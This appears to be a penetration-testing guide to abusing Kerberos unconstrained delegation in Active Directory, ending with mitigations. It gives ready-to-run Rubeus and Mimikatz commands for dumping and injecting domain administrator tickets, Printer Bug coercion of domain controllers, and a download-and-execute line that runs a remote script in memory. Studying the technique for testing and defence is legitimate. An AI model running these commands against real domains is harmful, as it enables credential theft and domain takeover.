Unconstrained Delegation

Description

Kerberos delegation in Active Directory refers to the ability of an object, such as a user or computer, to reuse end-user credentials for accessing resources hosted on a different server.

Unconstrained Delegation occurs when a computer, such as a File Server, has the "Trust this computer for delegation to any service" option enabled, and a Domain Administrator logs into the File Server. This enables us to grab a copy of the Domain Administrator's TGT, which can be used to authenticate anywhere in the Domain.

Domain Controllers will always have TrustedForDelegation enabled.

Requirements

Elevated privileges on the host that is configured for Unconstrained Delegation.

Enumeration

# PowerView
Get-DomainComputer -Unconstrained -Properties dnshostname,samaccountname |FL

# PowerShell
Get-ADComputer -Filter {TrustedForDelegation -eq $true} | Select DNSHostName,SamAccountName | FL

Explanation

Without Unconstrained Delegation

When a system is not configured for unconstrained delegation, typically only a Ticket Granting Service (TGS) ticket for the relevant service is stored on the system when a user authenticates through Kerberos. This ticket can only be used to authenticate to the same service on that same system and cannot be used to authenticate to other services or systems within the domain.

If we were to extract the TGS ticket for the Domain Administrator from the system below, we could only use that ticket to authenticate through the HTTP service on that same system. This is not really useful since the Domain Administrator already has elevated privileges on the system.

With Unconstrained Delegation

When a system is configured for Unconstrained Delegation and a user, such as the Domain Administrator, connects to the system through a protocol like WinRM or CIFS, the TGT for the user account may be stored on the system.

If an attacker can gain access to this TGT, either by compromising the system or using other techniques, they can potentially use it to impersonate the user and access resources anywhere in the domain. This is known as a Pass-the-Ticket (PtT) attack.

In the image below, the Domain Administrator connected to the system through WinRM, and a TGT for this account can now be extracted from the system.

Ticket Acquisition

Rubeus Binary

# Triage for existing tickets
Rubeus.exe triage

# Dump tickets for selected user,service or LUID
Rubeus.exe dump /nowrap /user:administrator
Rubeus.exe dump /nowrap /service:krbtgt
Rubeus.exe dump /nowrap /luid:0x6ee60

# Monitor for and dump new tickets
Rubeus.exe monitor interval:15 /nowrap
Rubeus.exe monitor interval:15 /nowrap /targetuser:administrator

Invoke-Rubeus

# Triage for existing tickets
Invoke-Rubeus -Command "triage"

# Dump tickets for selected user,service or LUID
Invoke-Rubeus -Command "dump /nowrap /user:administrator"
Invoke-Rubeus -Command "dump /nowrap /service:krbtgt"
Invoke-Rubeus -Command "dump /nowrap /luid:0x6ee60"

# Monitor for and dump new tickets
Invoke-Rubeus -Command "monitor interval:15 /nowrap"
Invoke-Rubeus -Command "monitor interval:15 /nowrap /targetuser:administrator"

Mimikatz Binary

# Export tickets (Preferred Method (More Accurate))
mimikatz.exe "token::elevate" "sekurlsa::tickets /export"

# Alternative Method
mimikatz.exe "token::elevate" "kerberos::list /export"

Invoke-Mimikatz

# Export tickets (Preferred Method (More Accurate))
Invoke-Mimikatz -Command '"token::elevate "sekurlsa::tickets /export"'

# Alternative Method
Invoke-Mimikatz -Command '""token::elevate" "kerberos::list /export"'

Pass the Ticket (ptT)

Rubeus Binary

# Method 1: Pass ticket into seperate session (Preffered)
# Create new LUID session (Requires Elevation)
Rubeus.exe createnetonly /program:c:\windows\system32\cmd.exe /show

# Pass ticket into new session
Rubeus.exe ptt /luid:[LUID from previous command] /ticket:[Base64 ticket]

# Method 2: Pass ticket directly into current session (Can cause auth issues)
Rubeus.exe ptt /ticket:[Base64 ticket]

Invoke-Rubeus

# Method 1: Pass ticket into seperate session (Preffered)
# Create new LUID session (Requires Elevation)
Invoke-Rubeus -Command "createnetonly /program:c:\windows\system32\cmd.exe /show"

# Pass ticket into new session
Invoke-Rubeus -Command "ptt /luid:[LUID from previous command] /ticket:[Base64 ticket]"

# Method 2: Pass ticket directly into current session (Can cause auth issues)
Invoke-Rubeus -Command "ptt /ticket:[Base64 ticket]"

Mimikatz Binary

# Pass ticket into current session
kerberos::ptt [Ticket-Name.kirbi]

# Confirm if ticket has been stored
kerberos::list

# Open new session with injected ticket
misc::cmd

Invoke-Mimikatz

# Pass ticket into current session
Invoke-Mimikatz -Command '"kerberos::ptt [Ticket-Name.kirbi]"'

# Confirm if ticket has been stored
Invoke-Mimikatz -Command '"kerberos::list"'

# Open new session with injected ticket
Invoke-Mimikatz -Command '"misc::cmd"'

With effective Domain Administrator permissions from the imported TGT we can now proceed with lateral movement, such as using WinRM:

Forced Authentication

When a system has Unconstrained Delegation enabled, a potential attack vector is to force other users or systems to authenticate against the host which is configured for unconstrained delegation.

By doing so we can force the victim user / computer account to store a copy of their TGT into the compromised system.

Printer Bug

Identify vulnerable systems

Firstly, obtain a list of computers or servers within the domain to test.

# PowerView
# Get all computers
Get-DomainComputer -Properties DnsHostName,OperatingSystem | Where {$_.OperatingSystem -Notlike "*server*"} | Select DnsHostname | Out-File DomainComputers.txt -Encoding "ASCII"

# Get all servers
Get-DomainComputer -Properties DnsHostName,OperatingSystem | Where {$_.OperatingSystem -like "*server*"} | Select DnsHostname | Out-File DomainServers.txt -Encoding "ASCII"

Get-SpoolStatus.ps1 can then be used to iterate through and check for vulnerable servers.

Get-SpoolStatus
ForEach ($Server in Get-Content DomainServers.txt) {Get-SpoolStatus $Server}

Set Rubeus for ticket harvesting

Rubeus Binary

Rubeus.exe monitor /Interval:5 /nowrap
Rubeus.exe monitor /Interval:5 /nowrap /targetuser:DC01

Invoke-Rubeus

Invoke-Rubeus -Command "monitor /Interval:5 /nowrap"
Invoke-Rubeus -Command "monitor /Interval:5 /nowrap /targetuser:DC01"

Perform Forced Authentication

Invoke-SpoolSample

# Load into memory
IEX (IWR -UseBasicParsing https://raw.githubusercontent.com/S3cur3Th1sSh1t/PowerSharpPack/master/PowerSharpBinaries/Invoke-Spoolsample.ps1)

# Execute
Invoke-SpoolSample -Command "[Target Sever] [Listening Host]"

SharpSpoolTrigger

GitHub: https://github.com/cube0x0/SharpSystemTriggers

# Execute
SharpSpoolTrigger.exe [Target Sever] [Listening Host]

Collect Tickets

After using one of the above methods to force authentication we soon collect a TGT for the Domain Controller DC01. We can then impersonate this using Pass the Ticket.

Mitigation

1. Disable Unconstrained Delegation: Organizations should identify all computers and services that have Unconstrained Delegation enabled and disable it whenever possible. Instead, organizations can use Constrained Delegation or Resource-Based Constrained Delegation to limit the scope of delegation.

2. Use Constrained Delegation: Constrained Delegation allows users and services to delegate authentication to specific services on specific computers. This ensures that the user or service only has access to the specific resources required to perform their tasks.

3. Use Resource-Based Constrained Delegation: Resource-Based Constrained Delegation allows services to delegate authentication to other services without requiring the use of a domain account. This allows organizations to limit the scope of delegation and reduce the risk of credential theft.

4. Use Protected Users group: Protected Users group is a security group that enforces stronger authentication and reduces the risk of credential theft. Members of the Protected Users group cannot be delegated to other computers or services. (Note: a TGT ticket for a protected user will still exist in memory from an interactive logon session. This means if as a user in the protected users group connects through RDP or physical logon, the TGT can be extracted and impersonated still.)

5. Regularly review and monitor delegation settings: Organizations should regularly review and monitor delegation settings to ensure that they are configured correctly and that there are no unintended consequences.

By implementing these mitigation's, organizations can reduce the risk of credential theft and unauthorized access to sensitive resources in their environment.

References

https://posts.specterops.io/hunting-in-active-directory-unconstrained-delegation-forests-trusts-71f2b33688e1posts.specterops.io

Unconstrained Delegation PermissionsStealthbits Technologies

Kerberos Delegationdocsmsft